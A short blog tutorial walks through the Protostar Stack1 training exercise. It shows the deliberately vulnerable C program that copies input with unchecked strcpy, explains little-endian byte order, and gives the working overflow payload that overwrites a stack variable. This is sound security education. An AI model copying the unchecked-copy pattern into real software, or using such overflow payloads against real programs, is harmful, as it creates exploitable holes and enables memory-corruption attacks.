Jun 21, 2020

# Protostar Stack1 Tutorial

In previous tutorial I completely explained how to exploit protostar stack 0 vulnerable program. In today tutorial we are going ahead and try a next level . In stack 1 level we have to modify a variable to per decided value. This one is so similar to stack zero level . But today you have to learn some new things like little endians notation etc. No buddy it is not something about little Indian people :-) . It's endian.

So let's go. Hear you can see the source code .

``````#include
#include
#include
#include

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}``````

I'm not going to explain this code in deeply, because I cleared all things in previous tutorial.

Now give your focus to following lines of code.

``````if(modified == 0x61626364){
printf("you have correctly got the variable to the right value\n");
}``````

It checks if variable is equal to 0x61626364 or not. What's 0x61626364? It is in the form of hex. If we get ASCII values, that will be abcd. So what we want to do is put abcd in to that variable. Yes we can use buffer overflow technique to do this task. In previous stack0 example we overwrote variable with a character A.

Now let's see if same method work for this level ? In first line you see stack0 level. In next line I have entered 65 A s but it seems we are not success. They say us to try again. :-( After that i have feed program 70 A s but no luck. As the next step i have over write variable with x61 x6 x63 x64 .That means variable should get abcd. But , look at the result. They said we overwrote dcba. But why??? This is because Little endian notation. I have published a complete tutorial about this concept. You may read it hear. Now I am going to try following payload.

``\$(python -c "print '\x41' * 64 + '\x64\x63\x62\x61'")``

Yes we did it correctly. I hope you enjoyed the tutorial. See you again on protostar stack2.

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